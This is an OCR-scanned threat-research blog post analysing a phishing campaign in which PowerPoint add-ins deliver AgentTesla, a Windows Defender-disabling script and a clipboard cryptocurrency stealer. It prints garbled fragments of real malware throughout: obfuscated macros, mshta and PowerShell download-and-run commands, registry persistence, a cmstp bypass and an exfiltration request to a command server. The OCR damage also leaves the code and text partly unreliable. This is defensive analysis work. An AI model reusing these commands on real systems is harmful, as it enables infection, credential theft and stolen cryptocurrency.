Infected PowerPoint Files Using Cloud Services to
Deliver Multiple Malware

A netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware

Gustavo Palazolo January 24, 2022

BY GUSTAVO PALAZOLO +

o
% netskope GHANASHYAM SATPATHY

THREAT LABS

Infected PowerPoint Files
Using Cloud Services to
Deliver Multiple Malware

Co-authored by Gustavo Palazolo and Ghanashyam Satpathy

Summary

In 2021, malicious Office documents accounted for 37% of all malware downloads detected
by Netskope, showing favoritism for this infection vector among attackers. This is likely due
to the ubiquitous usage of Microsoft Office in enterprises across the globe. Throughout 2021
we have analyzed many techniques used by attackers to deliver payloads through infected
documents, which included the return of Emotet, a campaign that primarily uses infected
documents to spread malware.

Since December 2021, Netskope Threat Labs has observed an increase in the usage of one
specific file type from the Microsoft Office suite: PowerPoint. These relatively small files are
being delivered through phishing emails, then downloading and executing malicious scripts
through LoLBins, a common technique often used to stay under the radar.

We spotted this campaign delivering multiple malware, such as AveMaria (a.k.a. Warzone)
and AgentTesla. These files are using Bitly to shorten URLs and different cloud services like
MediaFire, Blogger, and GitHub to host the payloads. In this blog post, we will analyze a
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malicious PowerPoint Add-In file detected by Netskope that delivers multiple malware,
including AgentTesla.

Stage 01 — Infected PowerPoint File

The infection flow starts with a phishing email that carries the infected file as an attachment,
along with a message that lures the victim to download and open it.

o REDACTED
Cc g
Becc 3
) + Ak for  price quote, /-b Infected PowerPoint file

[attachment(s) : @ Order List - PT Natash.ppam |

Good morning...

| hereby ask to be given the best price and postage of the item as attached below (especially the one with the blue dof).
Please include the catalog if any.

We are waiting for the offer as soon as possible.

Thank you for your attention.
Phishing email with a malicious attachment.
The file is fairly small and it doesn’t contain anything but the malicious VBA macro.

3

Crder list=

Infected PowerPoint file.

BT

Natashippa . . 5
Type: Microsoft PowerPoint Addin
Size: 16,0 KB

The macro is obfuscated and it uses an internal function to decrypt important strings at
runtime.
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Ltrribute VB Name = "Moduplsl™

Sub Auto Open()
Set 0 = CreateObject (ndjkCouRc (" . 5= EREAT Z * 1 El e EE Einiis) ; TS Rd) ", "a5cyXSLyE™)
Set M = O0.CreateObject (ndjkOouRc (" EH"' EOENINERT ' DXEES 1 EHEEE" , "QTmupWoivl"))
Hser 5 = M.Exec(ndikCouRc (" @EESE li-',]" "1z "} + ndjkOouRc ("= -;':':'_:“r "NkanJa4H1") + Chr(150)

+ ndjkCouRc (""'Z.'0=" (ES E&l- " ZES0™) + ﬁdj}cOD.:ch::";"‘";:", ({99) & Chr%(58)
Chr$(92) & Chr$(119) & quutlos} & Cﬁru(llD} & Chr$(100) & Chr$(l1ll) & CﬁIu(llQ} & 3119;115}

ChrS(92) & Chr3(115) & ChrS(121) & Chr2(115) & ChrS(116) & ChrS(101) & ChrS(109) & Chrs(51)

&
&
& Chr(50) & Chr$(92) & ChrS(99) & Chri(87) & Chr$(108) & Chr(99) & Chr3(92) & Chrs(46) & Chri(46) _

& Chr3(92) & Chr5(109) & ChrS(115) & Chr3(104) & Chr$(116) & Chr3(S7) & Chr5(32) & ChrS(104) & Chr3(116) _
& Chr3(116) & Chr$(112) & ChrS(115) & Chr$(58) & ChrS(47) & Chr3(47) & Chr$(104) & Chr$($7) & Chr$(104) _

& Chr3(97) & Chr$(104) & Chr$(97) & Chr$(104) & Chr$(104) & Chr$(97) & Chr3(115) & Chr3(100) & Chr3(e4) _
& Chru(lDG} & Chr$(46) & Chr$(109) & Chr$(112) & Chr$(47) + Chr3(107) & Chr3(100) & Chr3(119) & Chrd(111l) _
&

erneurfism)

MsgBox (5.5tdCut.Readall)

Obfuscated VBA code within the infected PowerShell file.
The script deobfuscation is straightforward and leads to the following VBA code.

Command executed by the malicious PowerShell file.
This technique uses Outlook (COM Object) to execute PowerShell, which bypasses the child
process created by PowerPoint.

v [y OUTLOOK.EXE

>
PowerShell spawned by Outlook’s process.

E mshta.exe
The script is executed with a combination of PowerShell and mshta, a similar technique

employed by BazarlLoader.
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2UE =

[ mshta.exe (4924) Properties — O
' &
1 Memory Environment Handles GPU Disk and Metwork ~ Comment
General Statistics Performance Threads Taoken Modules =
{ =
File
Microsoft (R) HTML Application host
Microsoft Corporation
Version: 11.0.19041.1 o ) )
Image file name: Malicious script being
| Cr\Windows'\System32\mshta. exe 4| EE
B Information *

“o:\windows'system 32\calch, . \mshta.exe™
htips://hahahahhasd@j.mp/kdwocqgwgwgerheurfie|

executed through LoLBins.

Stage 02 — VBS File

The URL contacted by the mshta binary is shortened through the Bitly domain “j.mp”, and the
payload is hosted on MediaFire, a cloud service for file storage and sharing.

The next stage is a VBS script that is lightly obfuscated within an HTML page, which is
decoded and executed through a simple JavaScript function.
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=] kdwocqwgwaerheurfje E3

[

[FUR N )

=
5

H<script>
El==
document .write (unescape (
"E3ICHTMLE3EX0AS3CHIMLEIES0ARICmetat2
charset33Dutf-8%2233E%0A%
ersHell.exe320-NoProfile$
b3b8la-=a%3-419b-b51b-0a 027 .usr "_ . 1 d/f Jbabﬂ_ea;cdﬂi?
n¥3Drendomtext327

http-equivi3iDiZ2Content-Types2
Ik%éisc:ipt%EJ'a'C"ac=%5D% 5

ntVersion$SCRun%220Aakosdw
ipoloaosdi2C%20akosdwd

tr
icrosoftWINdows%20 %Ih %20 %0ARUn%20 %Ihp nk%

Jkth:eefift"%zJ%JE%EJ%EESSFTNLR“%S2}_"”cscft%5“w_:dcw3%5-
0%3D%20%22
dns.org/ sl

odkis%22%0Apathanogal
.txt%223%22%2230APologachi.
at2Ci20pathanogalulut At 0Awindow. resizeTo%200%2C%200%0Asc1f. closes0A
0A%3ChodyE3EX0A%3C/bodyE3ER0AL3C/html $3E™) )

ff———>

—(/scriptﬂ

Second stage executed by the infected PowerPoint file.
Once deobfuscated, the VBS script performs multiple tasks to:

1. Create a persistence mechanism through the Windows registry to execute two

PowerShell scripts from external URLs. The first script delivers AgentTesla, and the
second script is used to disable some OS defenses, such as Windows Defender.

1. Create a scheduled task that executes a script from an external URL through mshta

1. Create a persistence mechanism through the Windows registry to execute a script from

approximately every hour. This script delivers a cryptocurrency stealer developed in
PowerShell, hidden within a fake web page hosted with Blogger.

an external URL using mshta. Unfortunately, we can’t tell what was being executed as
this URL was offline at the time of the analysis.

12f4d23b3c2af4abec8467e . txt33Fd
db3b9la-ea%93-41%b-b51b-0a69902758
c5.usrfil -_— | 0-useB329%

1‘ﬂw%2&%5D%
wt2C%20pink30Ase
CDE39F%3RAwen

=IO T N R N ]

2063%20,/tn%20%22%22%22322kbnvhywghjo%22%22%22%822%20/ %::%4'% t:%hi%
2%22%22M322%20%26%20%22222%20%26%20%22H%22320226%20%22¢% $22%22%2
kukad kk@kdaoskdokaodkwldld.blogspot . com/ $22%22%2
1%3D%20 Ject328%22newi3RA13709620 0%22%29%0
0.%20_%0AShellexecutei0StrReversei2i%2isil t¥22+3%22
20 %0A%20%2Cargs%20_%0A%20%2C3 2 IStrRew
Ep%EE—%EEC%EE%EQ%EJ%EC%_- FO0R% 0 23%22%2
28%22ME22%29%0Ap%2 2 u versei2
22T%$22%29%0Ax%20%3D%205trReverset28%22%22 2 2 $£259%0hAculiksz2
3D%205trReverse%28%22%22%22%22%2595%0 1 %;In%9-—%“w*%fl—%“-p%2 +3%20tu%204%20ha%204%20
culik%0AConsti20hala 20%3D%20% 01%0Amagolia%20%3D%20%22.%£22%0A5et%20Pologachi$20%3D%2

0%520%20magoliat20326320%2235Croot$oCdefanlti3AStdRegProviZ2Zs2ss
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lomeextc')

Set objl = GerObject(™ HARY
objl.Set5tringValue &HSODUDDUI o
set MicrosoftWindows = GetObject("n
MicrosoftWindows.Run ps cmd, 0

", ps_cmd

args = "/create

Set obj2 = GetObject(
obj2.Shellexecute "sct

Set obj3 = Getﬁbjectt
mshta_cmd = "msht t -
obj3. Ser,St.r.lng’balue &HBOOODODL,

urrentVersion\Run®, "pilodkis”, mshta cmd

Malicious VBS responsible for the next stages

Stage 03 — AgentTesla

The first PowerShell script is responsible for executing AgentTesla, which is a .NET-based
Remote Access Trojan with many capabilities, such as stealing browser’s passwords,
capturing keystrokes, clipboard, etc.

The code is slightly obfuscated, protecting variables, function names, and strings. There are

two large arrays that contain:

1. Compressed bytes of AgentTesla;
2. Compressed bytes of a .NET Injector used for process injection;

None of the executables are written to disk, which characterizes this attack as fileless.

aoivmdoaiuwoduiamnwodiumaowduimdaowduaoivmdoaiuwoduiamwodiumaowduim System. IC0.MemoryStream
SgzipStream =

Compression.CompressionMode] : :Decompress)
SgzipStream.CopyTo( Soutput )
SgzipStream.Close ()

Sinput.Close()

[bvte[]] S$byteOutArray = Soutput.Tolrrav()
Write-Cutput $byteOutArray

- }
I Agent Tesla
FUNCTION COMBINEMEANINGSCOBCLTPOTASSIUM (SIARWBQIPASKBAMAGSWQIARDHRASNDAS)

=
SIARWBQIPASKBAMAGSWQIARDHRASNDAS = § (SIARWBQIPASKBAMAGSWQIARDHRASNDAS -join [Environment]: :NewLine)
STAFWBQIPASKBAMAGSWOIARDHKASNDASD = [string]::join("", ($IARWBQIPASKBAMAGSWQIARDHFASNDAS.Splic (" n™)))
return SIARWBQIPASKBAMAGSWQIARDHRASNDASQ

-1

daowduaoivmdoaiuwoduiamnwodiumaowduimdaowduaoiwmdoaiuwoduiamwodiumaowduindaowduaoivmdoaiuwoduiamwodiumaowduimdaowda
aciwmdoaiuwoduiamwodiumaowduimdaowduaoivmdoaiuwoduiamwodiumaowduim System. IO.Compression. GzipStream §input, ([IO.

[byte[]] $nona — @(31,13%,3,0,0,0,0,0,4,0,204,139,7,152,28,197,177,56,62,59,187,58,105,211,245,233 108,188,155,85,30,

PowerSheII script responS|bIe for executlng AgentTesIa
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https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Once both files are decompressed, the script loads the injector and calls a function named
“Execute”, responsible for injecting AgentTesla payload into an instance of
“aspnet_compiler.exe”, which is a binary from the .NET framework.

§FOCHTBRHVGCEH,
FT—

$PGCHIBRHVGCFHIVBRNBHVGJIE . Add (

¥y §$bin_arr
ay §bin2_arr

[byte[]] $bin = Gec-Decompresse
[byte[]] $bin2 = Gec-DecompressedS

] [Reflection.Assembly] : :Load(§bin2) . GetType( )} -GetMethod( 1
Invoke (§null, [cbiect[1](

,§bin) )

$PGC FHJ JBA = COMBINEMEANINGSCOBOLTPOTASSIUM(

$FGC FHJ )

SRDTTFYGJHEUYGTFRYTFYGUHIJGYYGU = D4FDSCSBS266824C4EEFCE3E0CESFDIFAR(
SFPOCHIBRHVOCFHIVERNBHVGIBA) ;try{$n=0 while(§n -1t =) (§Ran=(
SRDTTFYGJHRUYGTFRYTEYGUHIJOYYGU -Join ') 11°E°X:$n++}}catchi)

Removing a minor obfuscation in the PowerShell script, showing how the payload gets
executed.

Most of the injector’s function names are obfuscated, but we can see the namespace, the
class, and the method that is being called to inject AgentTesla into a process. Furthermore,
an injector using “projFUD” as namespace was previously spotted in the wild, used by other
malware such as ASyncRAT and RevengeRAT.

b= PE
P =B Type References

I Bl Resources
b{} -

P {} GESTHENIGEZVIIHY

Injector’s decompiled

code.
AgentTesla is developed in .NET and this sample is using a protector known as “Obfuscar”,
which creates a few mechanisms in the code to make analysis harder.
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Sections Time date stamp Size of image Resources
0003 2021-11-12 08:22:51 0003 cODD

Scan Endianness Mode Architecture Type

Detect It Easy(DiE) LE 32-bit 1380 GLUI

Protector Obfuscar{1.0)[-]
Library MNET(w2.0.50727)[-]
Compiler VB.MET(-)[-]

Linker Microsoft Linker(8.0)[GUI32]

AgentTesla sample delivered by the infected PowerPoint file.
Despite the protector’s usage, it’s still possible to see clean code from the decompiler, like
this method that sends HTTP requests.

result;

Function used by AgentTesla for network requests.
All the strings used by AgentTesla are encrypted within the binary, where all the characters
are stored in a single array of bytes. Once it's running, the code decrypts all the characters in
the list using a simple XOR operation with the encrypted byte, its position on the list, and the
decimal 170. Whenever AgentTesla needs to access a string, it calls a function that returns
the string by accessing its position in the list, and the respective length.
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String Access

Decryption
Routine

AgentTesla string encryption scheme.

Using the same logic, we can use a combination of regex and a Python script to decrypt all
the strings in the binary. The complete list of decrypted strings can be found on our Github
page.

HKEY CURRENT USER\Software\RimArts\B2\Settings

HKEY CURRENT USER\SOFTWAREA\Vitalwerks\DUC

HKEY CURRENT USERSoftwareFTPWareCOREFTPSites

HKEY LOCAL MACHINENSOFTWAREAVitalwerks\DUC

Host

HOST

HostName

HTTP Password

http://103.147.185.68/]/pl9xw/mawa/48608c2b9173%9edc3959.php

http://DynDns.com

http://xhzVYe.com

IceCat

IceDragon

IE/Edge

image/jpeqg

image/jpg

IMAP Password
Decrypted strings from AgentTesla.
Furthermore, AgentTesla sends an HTTP POST request to a malicious server with
information about the infected machine, such as the computer name, username, |IP address,
etc.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/blob/main/AgentTesla/IOCs/AgentTesla_decrypted_strings.txt

POST /j/p19xw/mawa/48608c2b91739edc3959.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/86.0
Content-Type: application/x-www-form-urlencoded

Host: 103.147.185.68

Content-Length: 478

Expect: 188-continue

Connection: Keep-Alive

p=3BPWjKtIDgWiLrRE6V9sSZwQBOMZYM3HBeYR1LZSOMEQpYk42C/
Dnewd4®6q8RCTHI1AA3BGXStPq4RWLDXI8SpYGr ZbHVF61ETr scRgbSohhDVGCGKoKUOUCS9Tev3p7M3KktBtMUuuziBfggfcPT9qFKEEEDLDDScO7kk13QhOKE%2BND12VE

ds2Eqowx3kT1I9RCm/kYhovGzJ61DPI50Tkp2V2YPqYj6TzA49)abHadixiX/XkzCytam2/
XB7c8mi92pDE30cjiPK45ezPpHI3wbtxDwge6QrebiNa73s%2BvI7TBmwGk s fqwt L3pb%2BDxHESSAr iMIZsudSKbx88Z0kNE j SAoCTWVWMiSTvFBgGBXacUbcgX2Hus/
n6i0zBFN27eSPEITSR2vEqvPYNlsfTtrubrLI4jQenhGiNDmxPRKx08YgMMbzdoYPq%2BhQrwm@dns9XcuNUCVY=HTTP/1.1 200 OK

Date: Mon, 17 Jan 2022 19:08:41 GMT

AgentTesla HTTP request.

Stage 04 — PowerShell

The second PowerShell file executed by the VBS script in the second stage is mostly used to
disable Windows Defender.

Sdown = New-Chiect SystemJNet.ﬁebCIient

furl = 'https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/HSudo.exe

§file = "C:\Users 5

down.DownloadFile (Sarl,5file) ;

kasodkaosd = HNew-Chisct System.Net.WebkClient

Skasodkaosdsdmaowdk = 'https: r.mediafire. com/file/ghSi3uvigolcpuT /FINAT+MATH+vis+—+Copy.vbs/file' ;

Skasdjwkdo = "C:'\User='Publich heh.vbs';
Skasodkaosd.DownloadFile ($kasodkaosdsdmaowdk , Skasdijwkdo) ;

PowerShell downloading the payloads.
Once running, it downloads a file from GitHub named NSudo, which is used for privilege
escalation (TA0O0O4). NSudo is executed as “TrustedInstaller” through the arguments “-U:T”.

E M2-Team M5ude £.2.1812.31 — =

Mode Settings

User: TrustedInstaller W
B|z=rz Borars GUI from downloaded file
Open: | o Browse
,_i;s_ Warning: Please use MSudo CAREFULLY | Run About

“‘NSudo”.
The second download is a VBS script hosted on MediaFire, which uses NSudo and other

commands to disable Windows Defender and to add a few AV exclusions based on file
extensions, paths, and executable names.
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https://attack.mitre.org/tactics/TA0004/

i hehshehen vbs |
%zr Hot w5cxtpc.hxqun=nc5 Namcﬂ Exists("slevace”) Then

Createdbject ("5 ion") .ShellExecute WSchp: FullMame
PR 1 HSc—lpv: Sc_::.p!:l"ullﬂame & """ Jjelevate®™, "%, "runa
WScript.Quit

End If

On Error Resume Next
Set objShell = eateObject ("Wscript.5h
objShell.Run
objShell.Run "
10 objShell.Run ™
objShell.Run "C:\Users

=l

TR T R e

obj5hell . .Run "C
objS5hell.Run *

objShell.Run
objShell.Run
(WScript.Sleep 100
ocutputMessage ("2
outputMessage (
outputMessages |
outputMessage |
outputMessage (
outputMessage (
outputMessage (
outputMessage (
cutputMessage (
cutputMessage (
outputMessage (

cutputMessage ("

VBS downloaded by PowerSheII
The VBS is executed through another Living-off-the-Land technique, by first creating an INF
file with the command to be executed.

Ok

D - otn e W

ok W R e O

BRI R BRI B B B R R e e

Ry

]function script:Set-INFFile {
[CmdletBinding ()]
Param |
[Parameter (HelpMessage="Specify
$InfFilelocation = "Senv:temnp’

the INF file location™)]
STP.inf",

[Parameter (HelpMessage="5pecify the command to la
[String] $CommandToExecute = 'wscript.exe C:\T \

Cust —SEEQSEJﬂLt onil J3=”3

; Commands Here will
SCommandToExecute

taskkill /IM cmstp.exe /F
[ EE=3EJ=ut fu}

LDIDSection]
"“CFTNL?_- icrosoft\Windows\CurrentVersion\App Paths\CMMGR32Z.EXE", "ProfileInstallPath", "%UnexpectedErrors™,

o

SO
=

5InfContent | Out-File $InfFilelocation -Encoding ASCII
-1

PowerShell creating INF file.
And then executing the INF file with the cmstp LoLBin.

JIf (Test-Fath $InfFileLocation) {

#Command to run

Sps = new-object system.diagnostics.processstartinfo "c:'\windows'system3Zhcmstp.exe"
Sps.Arguments = "/au ZInfFilelLocation®

Sps.UzeShellExecute = 5false

Executing the INF file.

Stage 05 — Cryptocurrency Stealer
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https://lolbas-project.github.io/lolbas/Binaries/Cmstp/

The third URL downloaded by the second stage VBS is hosted with Blogger, which tries to
camouflage itself through a fake web page that says the content is sensitive.

. C O 8| https;//kdaoskdokaodkwldld.blogspot.com/p/19.html ks 2 =

This blog may cont ensitive content. In genera yogle does not review nor do we ¢ rse the content of this or any blog. For re informatic bout our e
palicies, please visit the Blogger Community G

I UNDERSTAND AND | WISH TO CONTINUE | do not wish to continue

Fake web page downloaded by the second stage.
Despite the attempt to hide behind this web page, we can find two malicious VBS within the
HTML, which are decoded and executed with a simple JavaScript.

<h2 class="title'>min</h2>
<div class='widget-content':>

{scrietb

Zl==

Jf——>

document .write {(unescape ("$¥3CscriptiZilanguaget3DEZ2VBScript32233EE0AGetObject32E85crReverse328%22B0A85DF40C00-9BDA-

F</script>

F</dive

<div class='clear'></div>

F</dive</dive

<div class='tabs no-items section' id='crosscol-overflow' name='Cross—Column 2'></div>
F</divs

F</dive

VBS code hidden in the HTML page.

One of the VBS executed in this stage leads to the same PowerShell that delivers
AgentTesla, which is redundant. However, the other VBS code leads to a simple
cryptocurrency stealer written in PowerShell.

<script language="VEScript">

GetObject (StrReverse ("BOASSDF40C00-9BDA-0D11-0FC1-22CD534

Fiwen")).regwrite "HE

WS il =@(102,117,110,0689,116,105,111,110,032, 105 066.105.116, 099
fkinkiii=@(102,117,110,089,11¢6,105,111,110,032,105,115,066,105,116,08¢

Const HIDDEN WINDOW = O

strComputer = "."

Set objWMIService = GetObject("winmgmts:"™ & "{impersonationlLevel=impersonatel}!\\" & strComputer & "‘roothcimwvi™)
Set objStartup = objWMIService.Get ("Win3Z_ ProcessStartup")

Set objConfig = objStartup.SpawnInstance_

objConfig.ShowWindow = HIDDEN WINDOW

= 5 + { "winmomt = Yodimy? s Win32
errReturn = objProcess.Create( "powsrshell. HECTT: % 5¢

Window.ReSizeTo 0, O
self.close
</script>

VBS loading and executing the cryptocurrency stealer.

The malware is fairly simple, it works by checking the clipboard data with a regex that
matches the cryptocurrency wallet pattern. If it is found, the data is replaced with the
attacker’s wallet address.

.cookerr) :EX”,Inull,. objConfig, intProcessID)
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https://www.blogger.com/about/

function isBitcoinfddress([stringl$clipboardContent)

H

-1
#=th

function isEthereumfddress([stringl$clipboardContent)

S5validRegex = """ (bcl|[13]) [a-zL-HJ-NP-Z0-9] {26,35}5"
if (SclipboardContent -cnotmatch SvalidRegex)
{

retnrn $false

}

return $trmoe

Cryptocurrency stealer

H

Sstrlength = SclipboardContent.length

S5validRegex = '"0x[a-fL-FO-9]{405"

if (SclipboardContent -cnotmatch SvalidRegex)
] {

retnrn $false

1

return $trmoe
-1
in PowerShell.
The code is able to replace the address for many coins, such as Bitcoin, Ethereum, XMR,
DOGE, etc.
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SEthereumAddresses = [{"O0xBaf86e2cT7126d08387eTlec
eceE699bceSEs
"OxBafiee2cTl2ed0 Tlec6699bcE9ES

SEthereumAddressesSize = $Ethereumhddresses length

"Oxgafdee2cTlZedO o695%pbcesf95Todese™,

5699k cEe9f95Tcdece™)

SerAddress = {

"E3.

$erAddressSlze = $erhddress length

" :'_-'DX 6FF Z. l

"GDXEeFFZUV!
SXIMAddressSize

1RbWUg9iQY18VGuo",
Y

SmPAddress = ("z

$XRPMdressSl ze = SXRPAddress.length

ZApZozcEnD] JynSvEgSNEml 15ZefhnYME" ,
T

SADAAddressSize = $ADAAddress length

Cryptocurrency addresses used by the attacker.
The complete list of the addresses used by the attacker can be found on our GitHub page.

Conclusion

Attackers not only continue to abuse Microsoft Office to deliver malware, but are also
increasingly including cloud services in their attacks, as this adds a certain resilience to the
entire process. Netskope Advanced Threat Protection includes a custom Microsoft Office file
analyzer and a sandbox to detect campaigns like the one we described in this analysis. We
will continue to provide updates on this threat as it evolves.

Protection

Netskope Threat Labs is actively monitoring this campaign and has ensured coverage for all
known threat indicators and payloads.

¢ Netskope Threat Protection
o Document-Office.Trojan.AgentTesla
o Win32.Trojan.AgentTesla
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/AgentTesla/IOCs

* Netskope Advanced Threat Protection provides proactive coverage against this
threat.
o Gen.Malware.Detect.By.StHeur indicates a sample that was detected using static
analysis
o Gen.Malware.Detect.By.Sandbox indicates a sample that was detected by our
cloud sandbox
o Gen.Malware.Detect.By.StHeur.MsOffice indicates a sample that was detected by
Netskope’s static ML Microsoft Office analyzer engine.

Below we have an example of a sample detected by Netskope, which has a score of 9/63 on
VirusTotal.

\ = o--o
[~ z |
o

9 @ 9 security vendors flagged this file as malicious B
e 58e990cY3419f78c7324c3c3dfccaas5f1780cffaal0alac834
e e salbele 9.43KB 2021-12-15 02:26:32 UTC A=
d272f11ca05d0 . 1 s mmen PPTX
? Purchase Orders jtc tools PDF.ppam
attachment  auto-open  create-cle macros  obfuscated  pptx
e Comranity ot
%o
0 58e990c934f9f78c7324c3c3dfccaa55f1780cffaal0a1ac834d272f11ca05d0
“ Incidents
SH224F9427569045:8002be 7 30bc2dsf
S5 5B8990C9IAI9ITBLT 3240 e 332551 17B0CN 2103 12c 3442721 1630580 2 1 Q
Detected by: L] &
o N
O High Trojan GenerickD) 35282439 Virus
o

I0Cs

A full list of IOCs and a Yara rule are all available in our GitHub repo.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/AgentTesla

